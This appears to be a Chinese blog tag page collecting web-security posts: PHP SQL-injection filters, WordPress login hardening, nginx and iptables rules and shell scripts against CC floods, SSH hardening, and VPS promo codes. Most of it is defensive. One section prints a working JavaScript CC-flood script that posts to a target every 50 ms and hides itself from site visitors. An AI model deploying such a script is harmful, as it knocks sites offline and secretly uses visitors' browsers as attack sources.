标签 web安全 下的文章

其实实现起来很简单,利用$_GET获取参数,加一个判断进行跳转就好了,你可以点此查看演示。
编辑admin文件夹下的login.php文件,在顶部加入如下代码:

<?php
if($_GET["text1"]!="text2"){
header('Location: http://xx.com/fuck.php');//这里换成你的网址
exit;
}
?>

(注意!今后若想登陆,需手动输入形同http://xx.com/admin/login.php?text1=text2的网址才能进入后台登录页面!)

来自https://imjad.cn/archives/lab/to-increase-the-landing-validation-for-typecho


记得在夏日博客之前的文章中,有关于 asp 的注入,当时研究 asp 的时候也是直接通过 sql 进行注入的,主要是因为 sql 语句写得不严谨,所以有了攻击机会,记得当时测试后台,直接 or 很简单的就登陆了,一点安全性都没有,后来慢慢的都做了安全,屏蔽了一些登陆字符,实际上测试 sql 注入除了手动来测试之外,互联网上还有大量的工具,比如明小子,sql 万能注入等等,而下面夏日博客要介绍的是关于 php 安全 sql 注入测试的研究,本来觉得 php 已经够安全的了,没想到 sql 注入在 php 下面同样存在,只不过有些安全设置可以在 php.ini 里面进行屏蔽掉。
如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞。但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的。

阅读全文


<?php
function customError($errno, $errstr, $errfile, $errline)
{ 
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){  
if(is_array($StrFiltValue))
    $StrFiltValue=implode($StrFiltValue);
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){   
   error_log("IP: ".$_SERVER["REMOTE_ADDR"].": ".strftime("%Y-%m-%d %H:%M:%S").":".$_SERVER["PHP_SELF"].": ".$_SERVER["REQUEST_METHOD"].": ".$StrFiltKey.": ".$StrFiltValue."\n",3, "XundaslSqlSafe-".date("Y-m-d", time()).".log");
   echo "警告:非法操作!";
   exit();
}      
}  
foreach($_GET as $key=>$value)
        StopAttack($key,$value,$getfilter);
foreach($_POST as $key=>$value) 
        StopAttack($key,$value,$postfilter);
foreach($_COOKIE as $key=>$value)
        StopAttack($key,$value,$cookiefilter);
?>


来自老赵茶馆:WordPress 登录保护加强版
事关自从添加了登录失败的邮件通知后,一直有人反馈说有机器人暴力破解,而收到一大堆邮件。不过实际上只要你的用户们和密码足够复杂,机器人没几万年也破解不了。

请看下面所谓的修改后台登录地址的保护方法:

//保护后台登录
add_action('login_enqueue_scripts','login_protection');  
function login_protection(){  
    if($_GET['admin'] != 'true')header('Location: http://lazyhood.com/');  
}

这种方法只等挡住人为的破解,机器人压根不会访问Wordpress后台的登录地址,而是通过以post方式提交的登录请求的。

所以只能想办法了,一就是安装一些登录保护插件例如lockdown,一就是添加保护代码到functions.php,我选择后者。谷歌后得到的答案是这样子的,提供了三重登录保护。

首先是阻止与HTTP 1.0的任何登录POST请求,因为常见的机器人都是使用HTTP1.0,这应该有效地阻止他们登录:

//过滤HTTP 1.0的登录POST请求
function wlp_filter_http() {
  if(preg_match('/1.0/',$_SERVER['SERVER_PROTOCOL'])) { wlp_forbidden(); }
}
add_action('login_init','wlp_filter_http');

然后是通过设置一个cookie的初始值,如果cookie不存在POST请求,登录会被阻止:

// POST Cookie 保护
function wlp_set_login_protection_cookie() {
  if( strtoupper($_SERVER['REQUEST_METHOD'])=='GET' and
      !isset($_COOKIE['wlp_post_protection']) ) {
    setcookie('wlp_post_protection','1',time()+60*60*24);
    $_COOKIE['wlp_post_protection'] = '1';
  }
}
 
function wlp_post_protection() {
  if( strtoupper($_SERVER['REQUEST_METHOD'])=='POST' and
      !isset($_COOKIE['wlp_post_protection']) ) {
    wlp_forbidden();
  }
}
add_action('init','wlp_set_login_protection_cookie');
add_action('login_init','wlp_post_protection');

最后是增加额外登录验证,这将增加一层额外的WordPress的登录页面,这是一个更积极的做法,而应完全防止任何从机器人甚至试图WordPress的登录,不同于修改你的网络服务器配置,以增加基本身份验证,这种方法不会破坏AJAX行为的功能。

// 增加额外登录验证
function wlp_basic_auth() {
  if( !isset($_SERVER['PHP_AUTH_USER']) or !isset($_SERVER['PHP_AUTH_PW']) )
    wlp_unauthorized(__('No credentials have been provided.', 'memberpress'));
  else {
    $user = wp_authenticate($_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW']);
 
    if(is_wp_error($user))
      wlp_unauthorized( $user->get_error_message() );
  }
}
function wlp_unauthorized($message) {
  header('WWW-Authenticate: Basic realm="' . get_option('blogname') . '"');
  header('HTTP/1.0 401 Unauthorized');
  die(sprintf(__('UNAUTHORIZED: %s', 'memberpress'),$message));
}
add_action('login_init','wlp_basic_auth');

最最后的一步是当登录失败时,让服务器返回403状态:

// 登录错误,返回403状态
function wlp_forbidden() {
  header("HTTP/1.0 403 Forbidden");
  exit;
}


A

<?php       
session_start();       
$k=$_GET['k'];       
$t=$_GET['t'];       
$allowTime = 1800;//防刷新时间       
$ip = get_client_ip();       
$allowT = md5($ip.$k.$t);       
if(!isset($_SESSION[$allowT]))       
{       
    $refresh = true;       
    $_SESSION[$allowT] = time();       
}elseif(time() - $_SESSION[$allowT]>$allowTime){       
    $refresh = true;       
    $_SESSION[$allowT] = time();       
}else{       
    $refresh = false;       
}       
?>

B

<?php
session_start();
$allow_sep = "2";
if (isset($_SESSION["post_sep"])){
    if (time() - $_SESSION["post_sep"] < $allow_sep){
        exit("请不要频繁刷新,休息2秒再刷新吧");
    }
    else{
        $_SESSION["post_sep"] = time();
    }
}
else{
    $_SESSION["post_sep"] = time();
}
?>

C

<?
session_start();
if(!empty($_POST[name])){
   $data = $_POST[name];
   $tag = $_POST[tag];
   if($_SESSION[status]==$tag){
     echo $data;
   }else{
     echo "不允许刷新!";
   }
}
$v = mt_rand(1,10000);
?>
<form method="post" name="magic" action="f5.php"><input type="hidden"
name="tag" value="<?=$v?>"><input type=text name="name"><input type="submit" value="submit">
</form>
<?
echo $v;
$_SESSION[status] = $v;
?>

D

通过分析nginx的access日志看到,该攻击的访问没有 user-agent ,然后果断出击,通过配置nginx

if ($http_x_forwarded_for ~ 223.4.121.225){  
    return 403;  
}  
if ($http_user_agent=""){  
    return 403;  
}

将ip为223.4.121.225 这个攻击源的和user-agent 为空的,全部干掉,
重启nginx,拦截成功。

E

https://github.com/loveshell/ngx_lua_waf

F

LNMP简单的一些防CC的办法
观看生成的.log日志文件,判断来路,直接301百度:

if ($http_referer ~* mi5.gov ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}

观看生成的.log日志文件,判断浏览器特征码,直接301百度:

if ($http_user_agent ~* firefox4.0 ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}

根据特征码,直接查找.log文件,并iptables封死相应IP:

cat com.log | grep 'Mozilla/5.0' | awk '{print "iptables -I INPUT -p tcp --dport 80 -s ", $1, "-j DROP"}'| sort -n | uniq | sh

G

192.241.x.x – – [07/Apr/2016:12:22:44 +0800] “GET /index.php HTTP/1.0″ 200 “-” “WordPress/3.9.2; http://www.x.x; verifying pingback from 69.30.x.x” “-“
这里很明显,全部都是Wordpress。下面我们给出防护nginx,apache的防护方案教程(请根据自己的WEB服务器判断是哪一种):

Nginx:

location /区块种添加如下代码:

# WordPress Pingback Request Denial
if ($http_user_agent ~* “WordPress”) {
return 403;
}

这样的话有请求也不会去找PHP了,nginx及时的返回403,如果连接过多的话需要修改nginx中 worker_connections的参数值,可以把它增加到更大的值。

Apache:

在配置文件中添加:

BrowserMatchNoCase WordPress wordpress_ping
BrowserMatchNoCase WordPress wordpress_ping
Order Deny,Allow
Deny from env=wordpress_ping

然后reload服务。再观察日志,可以看到全部返回403了。网站也恢复了正常访问。
如果上面的方法还是无法正常访问那就需要用到iptables了。

IPTABLES防护:

cat /var/log/nginx/access.log | grep “verifying pingback from” > pingback_attack.log

然后用php分析日志,导入到iptables规则中。

<?php
error_reporting(0);
$reqs = file(“pingback_attack.log”);
foreach ($reqs as $req) {
$ip = explode(” – – “, $req);
$ip_address[$ip[0]]++;
}
arsort($ip_address);
foreach ($ip_address as $ip=>$attack_times) {
print “# WordPress IP. Attacked {$attack_times} times<br />”;
print “iptables -A INPUT -s {$ip} -j DROP<br />”;
}
?>

然后将输出的内容执行到iptables规则里面。

H

功能:
1.读取 nginx/log/access.log 最后一条
2.如果包含 MISE ,则将此条目中的IP地址加入 Iptables规则

tail -n 1 nginx/log/access.log | grep MSIE | awk '{print $1}' | xargs -i iptables -I INPUT -s {}/32 -j DROP

脚本sh

#!/bin/bash
logfile=
while true
do
  tail -1 a | grep -sq  MISE 
  if [[ "$?" -eq 0 ]];then 
    ip=$(tail -1 "$logfile"  | grep -oE "([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}")
    echo $ip
  fi
  sleep 5
done

用iptables自动封连接数较大的IP防CC
此脚本用于分析统计secure日记文件,对ssh登录错误次数较多的IP用iptables封掉。

#!/bin/bash
#Created by http://www.onovps.com www.2cto.com
num=10 #上限
for i in `awk '/Failed/{print $(NF-3)}' /var/log/securesortuniq -csort -rnawk '{if ($1>$num){print $2}}'`
do
       iptables -I INPUT -p tcp -s $i --dport 22 -j DROP
done

加入crontab计划任务

crontab -e
* */5 * * * sh /path/file.sh #5小时执行一次

I

linux中Iptables限制同一IP连接数防CC/DDOS攻击方法

介绍linux中Iptables限制同一IP连接数防CC/DDOS攻击方法,这个只是最基于的防止方法,如果真正的攻击我们还是需要硬件耿防止哦。
1.限制与80端口连接的IP最大连接数为10,可自定义修改。
代码如下

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j DROP
#默认iptables模块不包含connlimit,需要自己单独编译加载

参考iptables防DDOS攻击和CC攻击设置
from http://blog.onovps.com/archives/linux-iptables-cc.html
2.使用recent模块限制同IP时间内新请求连接数,recent更多功能请参考:Iptables模块recent应用。
代码如下

iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'DDOS:' --log-ip-options
#60秒10个新连接,超过记录日志。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j DROP
#60秒10个新连接,超过丢弃数据包。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --set -j ACCEPT
#范围内允许通过。

J

下面的是某一次CC攻击时的User-agent,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上must-revalidate这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有must-revalidate的请求全部拒绝访问:

if ($http_user_agent ~ must-revalidate) {
return 403;
}

K

nginx过滤无聊的pingback CC请求

if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
if ($http_user_agent = "" ) {return 101;}
if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.0" ) {return 400;}
if ( $request = "POST // HTTP/1.0" ) {return 400;}

Nginx-CC

http{
...
limit_zone   one  $binary_remote_addr  10m;
...
server{
  listen 80;
  ....
  location/{
    limit_conn one 5; #限制连接数
    limit_rate 500k; # 限制速度
    }
}

上面的相对比较简单,下面我来分析更具体的配置方法。CentOS/Redhat/Fedora
在服务器执行
代码如下

vi /etc/sysconfig/iptables

删除原来的内容输入如下内容,保存

# Generated by iptables-save v1.3.5 on Sun Dec 12 23:55:59 2010
*filter
:INPUT DROP [385263:27864079]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [4367656:3514692346]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -s 127.0.0.1 -j ACCEPT
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –set –name WEB –rsource
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –update –seconds 5 –hitcount 20 –rttl –name WEB –rsource -j DROP
-A INPUT -p tcp -m multiport –ports 21,22,80 -j ACCEPT
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m ttl –ttl-eq 117 -j DROP
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m length –length 0:40 -j DROP
-A INPUT -p tcp -m tcp ! –tcp-flags SYN,RST,ACK SYN -m state –state NEW -j DROP
COMMIT
# Completed on Sun Dec 12 23:55:59 2010

说明此设定仅对外开放21(FTP),22(SSH),80(http网站)三个TCP端口。设置80端口5秒内20个连接
重启iptables服务 /etc/init.d/iptables restart
设定iptables随机启动chkconfig iptables on

实现基于js的CC攻击

下面是ajax攻击代码,间隔时间可以根据需要自己调整,设置的是50毫秒一次。

<script type="text/javascript">
var t_postdata='id=cacacacacacacaca';//数据越大效果越好。
var t_url='http://www.xxx.com/test.php';
    function c_xmlHttp(){
        if(window.ActiveXObject){
            xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
        }
        else if(window.XMLHttpRequest)
        {
            xmlHttp=new XMLHttpRequest();
        }
        return xmlHttp;
    }

    function post_send(){
            var xmlHttp=c_xmlHttp();
            xmlHttp.open("POST",t_url,true);
            xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlHttp.send(t_postdata);
            r_send();
    }
    function r_send(){
            setTimeout("post_send()", 50);//50毫秒一次
    }
    if(!+[1,])//IE下不执行。
    {var fghj=1;}
    else
    {setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
</script>

正则表达式匹配说明
* ~为区分大小写匹配
~为不区分大小写匹配
!~和!~分别为区分大小写不匹配及不区分大小写不匹配
文件及目录匹配说明
* -f和!-f用来判断是否存在文件
* -d和!-d用来判断是否存在目录
* -e和!-e用来判断是否存在文件或目录
* -x和!-x用来判断文件是否可执行
flag标记说明
* last相当于Apache里的[L]标记,表示完成rewrite
* break终止匹配, 不再匹配后面的规则
* redirect返回302临时重定向 地址栏会显示跳转后的地址
* permanent返回301永久重定向 地址栏会显示跳转后的地址
一些可用的全局变量可以用做条件判断
$args请求中的参数;
$content_lengthHTTP请求信息里的"Content-Length";
$content_type请求信息里的"Content-Type";
$document_root针对当前请求的根路径设置值;
$document_uri与$uri相同;
$host请求信息中的"Host",如果请求中没有Host行,则等于设置的服务器名;
$limit_rate对连接速率的限制;
$request_method请求的方法,比如"GET"、"POST"等;
$remote_addr客户端地址;
$remote_port客户端端口号;
$remote_user客户端用户名,认证用;
$request_filename当前请求的文件路径名
$request_body_file
$request_uri请求的URI,带查询字符串;
$query_string与$args相同;
$scheme所用的协议,比如http或者是https,比如rewrite ^(.+)$ $scheme://example.com$1 redirect;
$server_protocol请求的协议版本,"HTTP/1.0"或"HTTP/1.1";
$server_addr服务器地址,如果没有用listen指明服务器地址,使用这个变量将发起一次系统调用以取得地址(造成资源浪费);
$server_name请求到达的服务器名;
$server_port请求到达的服务器端口号;
$uri请求的URI,可能和最初的值有不同,比如经过重定向之类的。

相关
介绍几种用Linux命令判断CC攻击的方法
Linux系统防CC攻击自动拉黑IP增强版Shell脚本
CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放
Nginx抗CC攻击基础篇:VeryNginx
通过 nginx 配置文件抵御攻击


来自张戈博客的:Linux系统防CC攻击自动拉黑IP增强版Shell脚本

最新更新:张戈博客已推出功能更强大的轻量级CC攻击防御脚本工具CCKiller==>传送门

前天写的Shell脚本是加入到crontab计划任务执行的,每5分钟执行一次,今天实际测试了下,可还是可以用的,但是感觉5分钟时间有点过长,无法做到严密防护。于是稍微改进了下代码,现在简单的分享下!

一、Shell代码

#!/bin/bash
#Author:ZhangGe
#Desc:Auto Deny Black_IP Script.
#Date:2014-11-05
#取得参数$1为并发阈值,若留空则默认允许单IP最大50并发(实际测试发现,2M带宽,十来个并发服务器就已经无法访问了!)
if [[ -z $1 ]];then
        num=50
else 
        num=$1
fi

#巧妙的进入到脚本工作目录
cd $(cd $(dirname $BASH_SOURCE) && pwd)

#请求检查、判断及拉黑主功能函数
function check(){
        iplist=`netstat -an |grep ^tcp.*:80|egrep -v 'LISTEN|127.0.0.1'|awk -F"[ ]+|[:]" '{print $6}'|sort|uniq -c|sort -rn|awk -v str=$num '{if ($1>str){print $2}}'`
        if [[ ! -z $iplist ]];
                then
                >./black_ip.txt
                for black_ip in $iplist
                do
                        #白名单过滤中已取消IP段的判断功能,可根据需要自行修改以下代码(请参考前天写的脚本)
                        #exclude_ip=`echo $black_ip | awk -F"." '{print $1"."$2"."$3}'`
                        #grep -q $exclude_ip ./white_ip.txt
                        grep -q $black_ip ./white_ip.txt
                        if [[ $? -eq 0 ]];then
                                echo "$black_ip (white_ip)" >>./black_ip.txt
                        else
                                echo $black_ip >>./black_ip.txt     
                                iptables -nL | grep $black_ip ||(iptables -I INPUT -s $black_ip -j DROP & echo "$black_ip  `date +%Y-%m-%H:%M:%S`">>./deny.log & echo 1 >./sendmail)
                        fi
                done
                #存在并发超过阈值的单IP就发送邮件
                if [[ `cat ./sendmail` == 1 ]];then sendmsg;fi
        fi
}

#发邮件函数
function sendmsg(){
        netstat -nutlp | grep "sendmail" >/dev/null 2>&1 || /etc/init.d/sendmail start >/dev/null 2>&1
        echo -e "From: 发邮件地址@qq.com\nTo:收邮件地址@qq.com\nSubject:Someone Attacking your system!!\nIts Ip is" >./message
        cat ./black_ip.txt >>./message
        /usr/sbin/sendmail -f 发邮件地址@qq.com -t 收邮件地址@qq.com -i <./message
        >./sendmail
}

#间隔10s无限循环检查函数
while true
do 
        check
        #每隔10s检查一次,时间可根据需要自定义
        sleep 10
done

二、执行脚本

将以上代码保存为deny_blackip.sh之后,进入到脚本文件所在目录,然后使用如下命令后台执行脚本(后面的50表示并发数,可自行调整):

nohup ./deny_blackip.sh 50 &

执行后会出现如下信息:

[root@Mars_Server iptables]# nohup ./deny_blackip.sh 50 & 
[1] 23630
[root@Mars_Server iptables]# nohup: ignoring input and appending output to `nohup.out'

表示如果脚本产生输出信息,将会写入到nohup.out文件,可以看到当前目录已经生成了一个空的nohup.out:

[root@Mars_Server iptables]# ll nohup.out
-rw------- 1 root root 0 Nov  5 21:15 nohup.out

好了,现在你执行执行ps aux 应该可以找到如下进程:

root     23630  0.0  0.2   5060  1224 pts/0    S    21:15   0:00 /bin/bash ./deny_blackip.sh
root     23964  0.0  0.0   4064   508 pts/0    S    21:19   0:00 sleep 10

一切顺利!每10s将检查一次服务器请求,如果某个IP超过50个并发,立即拉黑,并发一封邮件给你!

三、效果测试

测试很简单,先使用nohup启动脚本,然后在另一台Linux或Windows安装webbench,然后模拟50+并发去抓取该服务器的某个页面,20s之内可见到效果,下面是我的测试截图:
①、模拟CC攻击的服务器截图:
请输入图片描述
②、被CC攻击的服务器截图:
请输入图片描述
③、攻击IP被拉黑后的报警邮件:
请输入图片描述
测试时,模拟55个并发攻击了20s,立马就被拉黑了,效果很明显!

四、附加说明

①、脚本发邮件需要安装sendmail,若未安装请执行yum -y install sendmail安装并启动即可;
②、若要停止后台运行的脚本,只要使用ps aux命令找到该脚本的pid线程号,然后执行kill -9 pid号即可结束;
③、关于脚本的单IP并发限制,我实际测试同时打开博客多个页面并持续刷新,顶多也就产生十来个并发,所以单IP超过50个并发就已经有很大的问题了!当然,文章的阈值设为50也只是建议值,你可以根据需求自行调整(如果网站静态文件未托管到CDN,那么一个页面可能存在10多个并发);
④、写这个脚本,主要是为了弥补用crontab执行时间间隔最低只能是1分钟的不足,可以让CC防护更严密,甚至每隔1S执行一次!虽说脚本不怎么占用资源,不过还是建议10s执行一次为佳,不用太过极端是吧?
⑤、对于白名单过滤,只要将白名单IP保存到脚本同一目录下的white_ip.txt文件中即可,若发现攻击IP在白名单中,脚本不会直接拉黑,而是发一封邮件给你,让你自己判断这个白名单攻击你是为毛?如果白名单需要支持IP段,请参考我前天写的脚本即可。
就啰嗦这么多,主要还是自己用,然后分享出来给有需要的人一些参考,个人vps服务器虽说很少有人攻击,但是基本的安装防护还是必须要做的!希望本文对你有所帮助!

相关:
Linux被DDOS&CC攻击解决实例
通过nginx配置文件抵御攻击



转载:Debian vps上开通最低权限的ssh账号
在某些特殊用途想,我们需要用到vps的ssh账号,但是直接使用root账户是不安全的,这时我们可以创建一个最低权限的ssh账户。

1,登陆VPS,创建一个登录脚本:

vi /bin/nologin.sh

文件中添加以下内容

#!/bin/sh
echo ""
echo "  ***********************************************************"
echo "  * Sorry,you can't Login by this way, press a key to exit. *" 
echo "  ***********************************************************"
echo ""
read x
exit

写完之后按esc,输入:wq回车保存。

2、为此文件添加执行权限:

chmod 755 /bin/nologin.sh

3、添加一个用户到nogroup组,并且指定它的启动脚本:

useradd username -g nogroup -s /bin/nologin.sh

其中username修改为你的用户名

修改密码

passwd username

根据提示输入两遍新密码即可创建成功。

4、删除该用户

userdel -r username

5、显示所有用户

awk -F: '{print $1}' /etc/passwd

https://bandwagonhost.com/index.php
https://virmach.com/

vps安全设置:

ssh 登陆:

ssh root@127.0.0.1 -p 1234

改 root 密码

passwd root

输入两次密码<密码无显示>

如何知道自己的VPS账号正在遭受坏人的扫描和暴力破解呢?
简单的方法就是查看日志:cat /var/log/auth.log

改sshd端口

vi /etc/ssh/sshd_config
/etc/ssh/sshd_config

重启sshd服务:

/etc/init.d/sshd restart       #CentOS 6
systemctl restart sshd.service #CentOS 7

参考https://blog.csdn.net/doubleface999/article/details/73358003

检查端口

netstat -nlpt | grep ssh

安装Centos7下安装netstat

yum install net-tools

root是Linux下权限最大的一个用户,
而也是黑客最喜欢的一个用户,
若获取到了root权限,则代表了您的VPS完全陷落,
所以,将root用户禁止登录SSH,
使用另外一个用户来管理您的VPS将是一个很不错的主意。

首先添加一个用户

添加用户:

useradd 123

给新用户设置密码:

passwd 123

更改SSH

vi /etc/ssh/sshd_config

添加配置
AllowUsers root 123 #设置刚才创建的 123 可以登录
先把root也加上,不然登陆不了
重启下SSH

service sshd restart (/etc/init.d/sshd restart)
systemctl restart sshd.service #CentOS 7

限制su命令

vi /etc/pam.d/su

添加如下两行
centos 6

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=isd

执行
usermod -G10 123
这样就只有 123 用户可以使用su命令了

centos 7
centos7用户权限设置 https://blog.csdn.net/qooer_tech/article/details/41802717

auth        required    /usr/lib64/security/pam_wheel.so   use_uid
auth        sufficient  /usr/lib64/security/pam_rootok.so  debug
auth        required    /usr/lib64/security/pam_wheel.so group=wheel

修改/etc/login.defs文件,在最后添加SU_WHEEL_ONLY yes
将新添加的普通用户添加的wheel组中,命令usermod -G wheel 用户名

123切换到root

su - root

然后输入 root 密码

禁止ping

防止别人Ping通自己的服务器是一个很不错的安全设置,运行命令
此文件开始为空

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

这样别人Ping自己的服务器时就根本无法Ping通了

systemctl restart iptables.service

使用密匙登陆SSH

在VPS上 输入指纹登陆
生成4096位密钥

ssh-keygen -t rsa -b 4096

将公钥拷贝至服务器对应用户的.ssh下,重命名为authorized_keys

cat id_rsa.pub >> authorized_keys

scp -P xxxxx ~/.ssh/id_rsa.pub server:/root/.ssh/authorized_keys

如果已经存在authorized_keys,需要将公钥追加至authorized_keys

scp -P xxxxx ~/.ssh/id_rsa.pub server:/root/.ssh/tmp.pub
# 在服务器端执行
cat /root/.ssh/tmp.pub >> /root/.ssh/authorized_keys

ssh 登陆 设置Putty SSH使用密钥登录Linux VPS主机

禁止使用密码登陆

vim /etc/ssh/sshd_config
PasswordAuthentication no

若报错

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

删除~/.ssh/known_hosts文件

rm ~/.ssh/known_hosts

检查登录日志

如果你的服务器一直很正常,那也可能不正常的表现,
最好的办法就是定期查询ssh的登录日志,手动发现系统的异常!

vim /etc/ssh/sshd_config
add LogLevel DEBUG

查看最近100条登录日志

tail -100 /var/log/secure

登录成功日志

who /var/log/wtmp
last

参考:
CentOS(5.8/6.4)linux生产环境若干优化实战
基于CentOS系统的VPS安全设置与优化

ubuntu

sudo apt-get update
apt-get install htop
apt-get install unzip

apt-get -y install wget screen

centos
yum install -y unzip zip

cp -Rf /home/user1/* /root/temp/
将 /home/user1目录下的所有东西拷到/root/temp/下而不拷贝user1目录本身。
即格式为:cp -Rf 原路径/ 目的路径/

1024以下端口需要管理员权限

增强VPS 安全:改端口,禁用Root,密钥登录,Denyhosts防暴力攻击

洛杉矶MC
目前阿里新加坡的性价比最高

说实在的vultr牌子虽然比瓦工大,稳定性还是瓦工靠谱
dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
自己测一测就知道了,不管超兽多少,是否正在搞促销,瓦工的io根本不崩

BandwagonHost搬瓦工

原来的域名 被墙后启动 备用域名

原官方网页隐藏优惠码(F12)(现在找不到了)
目前,BandwagonHost最新优惠码如下:
1、IAMSMART5K717Q (4%)
2、IAMSMART5EM2BR(4.28%)
3、IAMSMART5C48JJ(4.7%)
4、IAMSMART5SS6ML(4.72%)
5、IAMSMART5GRNII (4.82%)
6、IAMSMART5EL5BM(4.96%)
7、IAMSMART5FQ956 (5%)
8、BWH1ZBPVK(6%)
9、BWH26FXH3HIQ (6.25%)
10、BWH34QMFYT2R(6.38%)

SPECIAL PROMOCODE: IAMSMART5FQ956 - 5% Recurring Discount(5% Recurring Discount)
Bandwagonhost Promotional Code BWH1ZBPVK - 6% Recurring Discount

点我购买KVM 512M 500M/Month $18.99/Year 6 Locations
搬瓦工 CN2 两个机房的选择:DC3 和 DC8 哪个好?

https://justhost.ru/hosting/

瓦工我走自己的AFF没效果。
购买IP和你的账号Ip 要不一样,付款PP和收款PP也不一样

搬瓦工怎么选CN2?
dc3和dc8

SPECIAL为固定机房套餐,分CN2、CN2 GIA、香港三种线路
VZ - PROMO为OpenVZ可换机房套餐、 KVM - PROMO为KVM可换机房套餐,可切换到CN2,但流量变为1/3

搬运工信息

Other VPS

https://virmach.com/special-offers
https://billing.virmach.com/cart.php?gid=22
https://bwh1.net/aff.php?aff=1830&pid=43 bwh1
https://bwh8.net/aff.php?aff=1830&pid=43 bwh8

[经验] 教程:如何更早地发现商家的优惠

https://miao.hu/2017/04/15/fuck-gfw

http://iytc.net/bwg/index.php

续期
2021年4月10日
包年包月2021-02-05 10:10:51到期